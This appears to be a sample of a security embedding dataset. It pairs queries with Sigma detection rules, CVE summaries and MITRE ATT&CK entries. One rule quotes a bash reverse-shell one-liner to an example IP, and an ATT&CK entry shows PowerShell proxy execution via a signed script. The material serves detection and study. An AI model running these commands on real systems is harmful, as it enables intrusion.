alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: Sigma rule for Detects POST requests to the F5 BIG-IP iControl Rest API "bash" endpoint, which allows the execution of commands on the
Matching passage: Sigma rule: Detects POST requests to the F5 BIG-IP iControl Rest API "bash" endpoint, which allows the execution of commands on the. Logsource: webserver. Rule: title: F5 BIG-IP iControl Rest API Command Execution - Webserver id: 85254a62-22be-4239-b79c-2ec17e566c37 related: - id: b59c98c6-95e8-4d65-93ee-f594dfb96b17 type: similar status: test description: Detects POST requests to the F5 BIG-IP iControl Rest API "bash" endpoint, which allows the execution of commands on the BIG-IP references: - https://f5-sdk.readthedocs.io/en/latest/apidoc/f5.bigip.tm.util.html#module-f5.bigip.tm.util.bash - https://community.f5.com/t5/technical-forum/icontrolrest-11-5-execute-bash-command/td-p/203029 - https://community.f5.com/t5/technical-forum/running-bash-commands-via-rest-api/td-p/272516 author: Nasreddine Bencherchali (Nextron Systems), Thurein Oo date: 2023-11-08 tags: - attack.execution - attack.t1190 - attack.initial-access logsource: category: webserver detection: selection: cs-method: POST cs-uri-query|endswith: /mgmt/tm/util/bash condition: selection falsepositives: - Legitimate usage of the BIG IP REST API to execute command for administration purposes level: medium
Near-miss passage: Sigma rule: Detects execution of Impacket's psexec.py.. Logsource: windows / security. Rule: title: Impacket PsExec Execution id: 32d56ea1-417f-44ff-822b-882873f5f43b status: test description: Detects execution of Impacket's psexec.py. references: - https://web.archive.org/web/20230329171218/https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html author: Bhabesh Raj date: 2020-12-14 modified: 2022-09-22 tags: - attack.lateral-movement - attack.t1021.002 logsource: product: windows service: security definition: The advanced audit policy setting "Object Access > Audit Detailed File Share" must be configured for Success/Failure detection: selection1: EventID: 5145 ShareName: \\\\\*\\IPC$ RelativeTargetName|contains: - RemCom_stdin - RemCom_stdout - RemCom_stderr condition: selection1 falsepositives: - Unknown level: high
Query: exploit IBM Tivoli Storage Manager for Databases: Data Protection for Microsoft SQL Server 5.5 before 5.5.6.1, 6.3 before 6.3.1.5, 6.4 before 6.4.1.7, and 7.1 before 7.1.2; Tivoli Storage 
Matching passage: CVE-2015-6557. CWE: CWE-200. CVSS: 2.0999999046325684. IBM Tivoli Storage Manager for Databases: Data Protection for Microsoft SQL Server 5.5 before 5.5.6.1, 6.3 before 6.3.1.5, 6.4 before 6.4.1.7, and 7.1 before 7.1.2; Tivoli Storage Manager for Mail: Data Protection for Microsoft Exchange Server 5.5 before 5.5.1.1, 6.1 before 6.1.3.7, 6.3 before 6.3.1.5, 6.4 before 6.4.1.7, and 7.1 before 7.1.2; and Tivoli Storage FlashCopy Manager 3.1 before 3.1.1.5, 3.2 before 3.2.1.7, and 4.1 before 4.1.2, when application tracing is used, place cleartext passwords in exception messages, which allows physically proximate attackers to obtain sensitive information by reading trace output, a different vulnerability than CVE-2015-4949.
Near-miss passage: CVE-2015-3721. CWE: CWE-200. CVSS: 4.300000190734863. The kernel in Apple iOS before 8.4 and OS X before 10.10.4 does not properly handle HFS parameters, which allows attackers to obtain sensitive memory-layout information via a crafted app.
Query: CVE similar to CVE-2015-3876
Matching passage: CVE-2015-3876. CWE: CWE-20. CVSS: 9.300000190734863. libstagefright in Android through 5.1.1 LMY48M allows remote attackers to execute arbitrary code via crafted metadata in a (1) MP3 or (2) MP4 file.
Near-miss passage: CVE-2015-8946. CWE: CWE-20. CVSS: 3.299999952316284. ecryptfs-setup-swap in eCryptfs before 111 does not prevent the unencrypted swap partition from activating during boot when using GPT partitioning and certain versions of systemd, which allows local users to obtain sensitive information via unspecified vectors.
Query: Lateral movement indicators for System Script Proxy Execution
Matching passage: T1216 System Script Proxy Execution. Tactics: stealth. Description: Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)
Near-miss passage: T1216.002 SyncAppvPublishingServer. Tactics: stealth. Description: Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution of malicious [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands. SyncAppvPublishingServer.vbs is a Visual Basic script associated with how Windows virtualizes applications (Microsoft Application Virtualization, or App-V).(Citation: 1 - appv) For example, Windows may render Win32 applications to users as virtual applications, allowing users to launch and interact with them as if they were installed locally.(Citation: 2 - appv)(Citation: 3 - appv) The SyncAppvPublishingServer.vbs script is legitimate, may be signed by Microsoft, and is commonly executed from `\System32` through the command line via `wscript.exe`.(Citation: 4 - appv)(Citation: 5 - appv) Adversaries may abuse SyncAppvPublishingServer.vbs to bypass [PowerShell](https://attack.mitre.org/techniques/T1059/001) execution restrictions and evade defensive counter measures by "living off the land."(Citation: 6 - appv)(Citation: 4 - appv) Proxying execution may function as a trusted/signed alternative to directly invoking `powershell.exe`.(Citation: 7 - appv) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands may be invoked using:(Citation: 5 - appv) `SyncAppvPublishingServer.vbs "n; {PowerShell}"`
Query: vulnerability: Off-by-one error in afs_pioctl.c in OpenAFS before 1.6.16 might allow local users to cause a denial of service (memory overwrite and system crash) via a pioctl with an input buffer
Matching passage: CVE-2015-8312. CWE: CWE-189. CVSS: 7.800000190734863. Off-by-one error in afs_pioctl.c in OpenAFS before 1.6.16 might allow local users to cause a denial of service (memory overwrite and system crash) via a pioctl with an input buffer size of 4096 bytes.
Near-miss passage: CVE-2015-3814. CWE: CWE-189. CVSS: 5.0. The (1) dissect_tfs_request and (2) dissect_tfs_response functions in epan/dissectors/packet-ieee80211.c in the IEEE 802.11 dissector in Wireshark 1.10.x before 1.10.14 and 1.12.x before 1.12.5 interpret a zero value as a length rather than an error condition, which allows remote attackers to cause a denial of service (infinite loop) via a crafted packet.
Query: write Sigma for Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (a
Matching passage: Sigma rule: Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (a. Logsource: windows / process_creation. Rule: title: Suspicious UltraVNC Execution id: 871b9555-69ca-4993-99d3-35a59f9f3599 status: test description: Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (as seen being used by Gamaredon threat group) references: - https://web.archive.org/web/20220224045756/https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf - https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine - https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution - https://uvnc.com/docs/uvnc-viewer/52-ultravnc-viewer-commandline-parameters.html author: Bhabesh Raj date: 2022-03-04 modified: 2022-03-09 tags: - attack.lateral-movement - attack.g0047 - attack.t1021.005 logsource: category: process_creation product: windows detection: selection: CommandLine|contains|all: - '-autoreconnect ' - '-connect ' - '-id:' condition: selection falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects "svchost.exe" spawning "rundll32.exe" with command arguments like "C:\windows\system32\davclnt.dll,DavSetCookie". Logsource: windows / process_creation. Rule: title: WebDav Client Execution Via Rundll32.EXE id: 2dbd9d3d-9e27-42a8-b8df-f13825c6c3d5 status: test description: 'Detects "svchost.exe" spawning "rundll32.exe" with command arguments like "C:\windows\system32\davclnt.dll,DavSetCookie". This could be an indicator of exfiltration or use of WebDav to launch code (hosted on a WebDav server). ' references: - https://github.com/OTRF/detection-hackathon-apt29/issues/17 - https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/7.B.4_C10730EA-6345-4934-AA0F-B0EFCA0C4BA6.md author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research) date: 2020-05-02 modified: 2023-09-18 tags: - attack.exfiltration - attack.t1048.003 logsource: category: process_creation product: windows detection: selection_parent: ParentImage|endswith: \svchost.exe selection_img: - Image|endswith: \rundll32.exe - OriginalFileName: RUNDLL32.EXE selection_cli: CommandLine|contains: C:\windows\system32\davclnt.dll,DavSetCookie condition: all of selection_* falsepositives: - Unknown level: medium
Query: CVE similar to CVE-2015-4838
Matching passage: CVE-2015-4838. CWE: UNKNOWN. CVSS: 4.0. Unspecified vulnerability in the Oracle JDeveloper component in Oracle Fusion Middleware 11.1.2.4.0, 12.1.2.0.0, and 12.1.3.0.0 allows remote authenticated users to affect confidentiality via vectors related to ADF Faces.
Near-miss passage: CVE-2015-4602. CWE: UNKNOWN. CVSS: 9.800000190734863. The __PHP_Incomplete_Class function in ext/standard/incomplete_class.c in PHP before 5.4.40, 5.5.x before 5.5.24, and 5.6.x before 5.6.8 allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via an unexpected data type, related to a "type confusion" issue.
Query: how to detect Graphical User Interface
Matching passage: T1061 Graphical User Interface. Tactics: execution. Description: **This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.** The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.
Near-miss passage: T1569.003 Systemctl. Tactics: execution. Description: Adversaries may abuse systemctl to execute commands or programs. Systemctl is the primary interface for systemd, the Linux init system and service manager. Typically invoked from a shell, Systemctl can also be integrated into scripts or applications. Adversaries may use systemctl to execute commands or programs as [Systemd Service](https://attack.mitre.org/techniques/T1543/002)s. Common subcommands include: `systemctl start`, `systemctl stop`, `systemctl enable`, `systemctl disable`, and `systemctl status`.(Citation: Red Hat Systemctl 2022)
Query: Sigma YAML for windows / process_creation
Matching passage: Sigma rule: Detects potential use of an SSH utility to establish RDP over a reverse SSH Tunnel. This can be used by attackers to ena. Logsource: windows / process_creation. Rule: title: Potential Remote Desktop Tunneling id: 8a3038e8-9c9d-46f8-b184-66234a160f6f status: test description: Detects potential use of an SSH utility to establish RDP over a reverse SSH Tunnel. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination. references: - https://www.elastic.co/guide/en/security/current/potential-remote-desktop-tunneling-detected.html author: Tim Rauch, Elastic (idea) date: 2022-09-27 tags: - attack.lateral-movement - attack.t1021 logsource: category: process_creation product: windows detection: selection: CommandLine|contains: :3389 selection_opt: CommandLine|contains: - ' -L ' - ' -P ' - ' -R ' - ' -pw ' - ' -ssh ' condition: all of selection* falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.. Logsource: linux / network_connection. Rule: title: Linux Reverse Shell Indicator id: 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871 status: test description: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1') references: - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md author: Florian Roth (Nextron Systems) date: 2021-10-16 modified: 2022-12-25 tags: - attack.execution - attack.t1059.004 logsource: product: linux category: network_connection detection: selection: Image|endswith: /bin/bash filter: DestinationIp: - 127.0.0.1 - 0.0.0.0 condition: selection and not filter falsepositives: - Unknown level: critical
Query: vulnerability: The keyctl_read_key function in security/keys/keyctl.c in the Linux kernel before 4.3.4 does not properly use a semaphore, which allows local users to cause a denial of service (NU
Matching passage: CVE-2015-7550. CWE: CWE-362. CVSS: 5.5. The keyctl_read_key function in security/keys/keyctl.c in the Linux kernel before 4.3.4 does not properly use a semaphore, which allows local users to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact via a crafted application that leverages a race condition between keyctl_revoke and keyctl_read calls.
Near-miss passage: CVE-2015-5189. CWE: CWE-362. CVSS: 4.900000095367432. Race condition in pcsd in PCS 0.9.139 and earlier uses a global variable to validate usernames, which allows remote authenticated users to gain privileges by sending a command that is checked for security after another user is authenticated.
Query: exploit The Remote Client and change management integrations in IBM Rational ClearCase 7.1.x, 8.0.0.x before 8.0.0.18, and 8.0.1.x before 8.0.1.11 do not properly validate hostnames in X.5
Matching passage: CVE-2015-5039. CWE: CWE-310. CVSS: 7.400000095367432. The Remote Client and change management integrations in IBM Rational ClearCase 7.1.x, 8.0.0.x before 8.0.0.18, and 8.0.1.x before 8.0.1.11 do not properly validate hostnames in X.509 certificates from SSL servers, which allows remote attackers to spoof servers and obtain sensitive information or modify network traffic via a crafted certificate. IBM X-Force ID: 106715.
Near-miss passage: CVE-2015-1454. CWE: CWE-310. CVSS: 7.099999904632568. Blue Coat ProxyClient before 3.3.3.3 and 3.4.x before 3.4.4.10 and Unified Agent before 4.1.3.151952 does not properly validate certain certificates, which allows man-in-the-middle attackers to spoof ProxySG Client Managers, and consequently modify configurations and execute arbitrary software updates, via a crafted certificate.
Query: Sigma YAML for windows / smbserver-connectivity
Matching passage: Sigma rule: Detects SMB server connections to shares without signing or encryption enabled. This could indicate potential lateral mo. Logsource: windows / smbserver-connectivity. Rule: title: Unsigned or Unencrypted SMB Connection to Share Established id: 8d91f6e4-9f3b-4c21-ae41-2c5b7d9f7a12 status: experimental description: 'Detects SMB server connections to shares without signing or encryption enabled. This could indicate potential lateral movement activity using unsecured SMB shares. ' author: Mohamed Abdelghani date: 2025-10-19 references: - https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/overview-server-message-block-signing tags: - attack.lateral-movement - attack.t1021.002 logsource: product: windows service: smbserver-connectivity detection: selection_shares: EventID: 4000 ShareName|contains: - IPC$ - ADMIN$ - C$ selection_status: - SigningUsed: 'false' - EncyptionUsed: 'false' filter_main_local_ips: - ClientAddress|cidr: - 127.0.0.0/8 - 169.254.0.0/16 - ::1/128 - fe80::/10 - fc00::/7 - ClientAddress|contains: - '00000000000000000000000000000001' - FE80000000000000 - FC00000000000000 - 0200????7F - 0200????A9FE condition: all of selection_* and not 1 of filter_main_* falsepositives: - Connections from local or private IP addresses to SMB shares without signing or encryption enabled for older systems or misconfigured environments. Apply additional tuning as needed. level: medium
Near-miss passage: Sigma rule: Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the c. Logsource: windows / system. Rule: title: Invoke-Obfuscation Obfuscated IEX Invocation - System id: 51aa9387-1c53-4153-91cc-d73c59ae1ca9 status: test description: Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references references: - https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888 author: Daniel Bohannon (@Mandiant/@FireEye), oscd.community date: 2019-11-08 modified: 2022-11-27 tags: - attack.stealth - attack.t1027 logsource: product: windows service: system detection: selection_eid: EventID: 7045 selection_imagepath: - ImagePath|re: \$PSHome\[\s*\d{1,3}\s*\]\s*\+\s*\$PSHome\[ - ImagePath|re: \$ShellId\[\s*\d{1,3}\s*\]\s*\+\s*\$ShellId\[ - ImagePath|re: \$env:Public\[\s*\d{1,3}\s*\]\s*\+\s*\$env:Public\[ - ImagePath|re: \$env:ComSpec\[(\s*\d{1,3}\s*,){2} - ImagePath|re: \\*mdr\*\W\s*\)\.Name - ImagePath|re: \$VerbosePreference\.ToString\( - ImagePath|re: \String\]\s*\$VerbosePreference condition: all of selection_* falsepositives: - Unknown level: high
Query: what is T1578
Matching passage: T1578 Modify Cloud Compute Infrastructure. Tactics: defense impairment. Description: An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots. Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)
Near-miss passage: T1578.004 Revert Cloud Instance. Tactics: defense impairment. Description: An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs. Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)
Query: detection rule: Detect standard users login that are part of high privileged groups such as the Administrator group
Matching passage: Sigma rule: Detect standard users login that are part of high privileged groups such as the Administrator group. Logsource: windows / lsa-server. Rule: title: Standard User In High Privileged Group id: 7ac407cc-0f48-4328-aede-de1d2e6fef41 status: test description: Detect standard users login that are part of high privileged groups such as the Administrator group references: - https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers - https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection - https://github.com/nasbench/EVTX-ETW-Resources/blob/7a806a148b3d9d381193d4a80356016e6e8b1ee8/ETWProvidersManifests/Windows11/22H2/W11_22H2_Pro_20221220_22621.963/WEPExplorer/LsaSrv.xml author: frack113 date: 2023-01-13 modified: 2023-05-05 tags: - attack.credential-access - attack.privilege-escalation logsource: product: windows service: lsa-server definition: 'Requirements: Microsoft-Windows-LSA/Operational (199FE037-2B82-40A9-82AC-E1D46C792B99) Event Log must be enabled and collected in order to use this rule.' detection: selection: EventID: 300 TargetUserSid|startswith: S-1-5-21- SidList|contains: - S-1-5-32-544 - -500} - -518} - -519} filter_main_admin: TargetUserSid|endswith: - '-500' - '-518' - '-519' condition: selection and not 1 of filter_main_* falsepositives: - Standard domain users who are part of the administrator group. These users shouldn't have these right. But in the case where it's necessary. They should be filtered out using the "TargetUserName" field level: medium
Near-miss passage: Sigma rule: Detects disabling of the Windows Defender feature of scanning for malware and other potentially unwanted software. Logsource: windows / windefend. Rule: title: Windows Defender Malware And PUA Scanning Disabled id: bc275be9-0bec-4d77-8c8f-281a2df6710f related: - id: fe34868f-6e0e-4882-81f6-c43aa8f15b62 type: obsolete status: stable description: Detects disabling of the Windows Defender feature of scanning for malware and other potentially unwanted software references: - https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#event-id-5010 - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md - https://craigclouditpro.wordpress.com/2020/03/04/hunting-malicious-windows-defender-activity/ author: Ján Trenčanský, frack113 date: 2020-07-28 modified: 2023-11-22 tags: - attack.defense-impairment - attack.t1685 logsource: product: windows service: windefend detection: selection: EventID: 5010 condition: selection falsepositives: - Unknown level: high
Query: patch priority for CVE-2015-9001
Matching passage: CVE-2015-9001. CWE: CWE-200. CVSS: 5.5. In TrustZone an information exposure vulnerability can potentially occur in all Android releases from CAF using the Linux kernel.
Near-miss passage: CVE-2015-7434. CWE: CWE-200. CVSS: 7.800000190734863. IBM Capacity Management Analytics 2.1.0.0 allows local users to discover encrypted usernames and passwords by leveraging access to the CMA install machine. IBM X-Force ID: 107863.
Query: patch priority for CVE-2015-8235
Matching passage: CVE-2015-8235. CWE: CWE-22. CVSS: 7.5. Directory traversal vulnerability in Spiffy before 5.4.
Near-miss passage: CVE-2015-7270. CWE: CWE-22. CVSS: 7.800000190734863. Dell Integrated Remote Access Controller (iDRAC) 6 before 2.80 and 7/8 before 2.21.21.21 allows directory traversal.